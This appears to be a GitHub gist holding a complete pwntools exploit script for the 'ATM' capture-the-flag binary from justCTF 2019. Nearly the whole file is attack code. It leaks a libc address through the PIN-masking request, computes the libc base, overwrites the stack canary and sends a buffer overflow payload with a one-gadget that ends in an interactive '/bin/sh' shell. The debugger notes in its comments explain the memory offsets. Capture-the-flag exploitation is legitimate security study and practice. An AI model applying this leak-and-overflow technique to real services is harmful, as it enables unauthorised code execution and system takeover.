Created
December 22, 2019 09:56
-
-
Save disconnect3d/e3f932fec080797d16d8fea6301b996f to your computer and use it in GitHub Desktop.
Exploit for the ATM task from justCTF 2019 (https://2019.justctf.team/)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
from pwn import * | |
if args.LOCAL: | |
if not args.DBGBIN: | |
exe = context.binary = ELF('../private/binary/atm') | |
else: | |
exe = context.binary = ELF('../private/binary/atm_debug') | |
context.terminal = ['tmux', 'splitw', '-h'] | |
host = args.HOST or 'localhost' | |
port = int(args.PORT or 1337) | |
def local(argv=[], *a, **kw): | |
'''Execute the target binary locally''' | |
if args.GDB: | |
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return process([exe.path] + argv, *a, **kw) | |
def remote(argv=[], *a, **kw): | |
'''Connect to the process on the remote host''' | |
p = connect(host, port) | |
if args.GDB: | |
gdb.attach(p, gdbscript=gdbscript) | |
return p | |
def start(argv=[], *a, **kw): | |
'''Start the exploit against the target.''' | |
if args.LOCAL: | |
return local(argv, *a, **kw) | |
else: | |
return remote(argv, *a, **kw) | |
# Specify your GDB script here for debugging | |
# GDB will be launched if the exploit is run via e.g. | |
# ./exploit.py GDB | |
gdbscript = ''' | |
continue | |
'''.format(**locals()) | |
if args.DBGBIN: | |
gdbscript = ''' | |
breakrva send_req | |
continue | |
''' | |
p = start() | |
def send_raw_req(data, pin=False): | |
assert 0x20000 <= len(data) <= 0x30000 | |
p.recvuntil("Menu: save request (1), send saved request (2), print saved request (3)\n") | |
p.sendline('1') | |
p.recvuntil('Length: ') | |
p.sendline(str(len(data))) | |
p.recvuntil('Please provide request data: \n') | |
p.send(data) | |
p.recvuntil("Received request! \n") | |
if pin: | |
p.recvuntil('Pin masked!') | |
p.recvuntil("Request parsed! \n") | |
def send_req(sendto, maskat='', data=''): | |
assert '\n' not in sendto | |
assert isinstance(data, str) | |
req = ''.join(( | |
"ATM-REQ/1.0\n", | |
"atm-ip: %s\n" % sendto, | |
("mask-pin-at: %d\n" % maskat) if maskat != '' else '', | |
"%s" % data | |
)) | |
req += 'a' * (0x20000 - len(req)) # Fill rest data | |
send_raw_req(req, pin=str(maskat) != '') | |
def print_req(): | |
p.recvuntil("Menu: save request (1), send saved request (2), print saved request (3)\n") | |
p.sendline('3') | |
p.recvuntil('PIN: ') | |
pin = int(p.recvuntil('\n', drop=True), 16) | |
print("PIN = 0x%x" % pin) | |
return pin | |
# | |
# From debugging the program, when send_req('1.1.1.1', 123) | |
# | |
#pwndbg> set $buf=0x7fd4928e0010 | |
#pwndbg> x/8xb $buf - 0xb028 | |
#0x7fd4928d4fe8: 0x5a 0xf7 0xd5 0x91 0xd4 0x7f 0x00 0x00 | |
#pwndbg> telescope $buf-0xb028 1 | |
#00:0000│ 0x7fd4928d4fe8 —▸ 0x7fd491d5f75a ◂— insb byte ptr [rdi], dx /* 'ld-linux-x86-64.so.2' */ | |
#pwndbg> vmmap 0x7fd491d5f75a | |
#LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA | |
# 0x7fd491d48000 0x7fd491f2f000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so | |
# | |
# Note: while we don't know the memory layout/environment run on the server | |
# it is posssible to get it or find it. | |
# First of all, the libc we got is from ubuntu:18.04 docker image, so we could try that | |
# and compare offsets for given allocations (and we would find out they match, so we could debug on that). | |
# But if we don't do that, we can still leak 8B on each connection for a given offset from the initial buffer. | |
# That ofc would require us to match the first allocation's offset with the second (or actually third) one, | |
# but it is doable. | |
# | |
# Then we could leeak values on given offsets using many connections and find out offsets for canary and libc addresses. | |
# | |
# This exploit doesn't leak that and just 'knows' the offsets. | |
# | |
# | |
# | |
# Leak 4 bytes from libc address | |
# Note that this address looks like this: | |
# 0x 00 00 7f LL EE AA KK xx | |
# Where we know the 'xx' (from debugging above) | |
# And it seems we can safeuly assume that the address starts with '7f' | |
# OR SOMETHING AROUND IT! | |
# | |
# When debugging we can find this address is changed to: | |
# 0x 00 00 7f 2a 2a 2a 2a b0 | |
# (but it does not matter in this case) | |
# Our buffer got allocated on 0x7fff1ba45010 | |
# and there is a libc address on 0x25dd8 offset from it | |
# | |
#│pwndbg> telescope 0x7fff1ba45010+0x25dd8 1 | |
#│00:0000_ 0x7fff1ba6ade8 __ 0x7fff1aebe1b0 __ xchg eax, edx | |
#│pwndbg> vmmap 0x7eff1aebe1b0 | |
#│LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA | |
#│ 0x7fff1aeb8000 0x7fff1b09f000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so | |
#│pwndbg> x/8xb 0x7fff1ba6ade8 | |
#│0x7fff1ba6ade8: 0xb0 0xe1 0xeb 0x1a 0xff 0x7f 0x00 0x00 | |
send_req('1.1.1.1', 0x25dd8+1) | |
send_req('2.2.2.2') | |
val = print_req() | |
libcx = 0x7f00000000b0 + (val<<8) | |
libc_base = libcx - 0x61b0 | |
print("val = 0x%x" % val) | |
print("libc X address = 0x%x" % libcx) | |
print("libc base address = 0x%x" % libc_base) | |
# One gadgets for the given libc: | |
""" | |
0x4f2c5 execve("/bin/sh", rsp+0x40, environ) | |
constraints: | |
rcx == NULL | |
0x4f322 execve("/bin/sh", rsp+0x40, environ) | |
constraints: | |
[rsp+0x40] == NULL | |
0x10a38c execve("/bin/sh", rsp+0x70, environ) | |
constraints: | |
[rsp+0x70] == NULL | |
""" | |
one_gadget = p64(libc_base + 0x4f2c5) | |
# Overwrite global canary with 0x2a2a2a2a........ | |
send_req('3.3.3.3', 0x65d98) | |
# Overwrite global canary with 0x........2a2a2a2a | |
# and save a BOF payload with one gadget | |
send_req('4.4.4.4 ' + 'a'*48 + '*'*8 + 'b'*24 + one_gadget, 0x86d9c) | |
# Trigger bof payload and so /bin/sh | |
p.sendline('2') | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment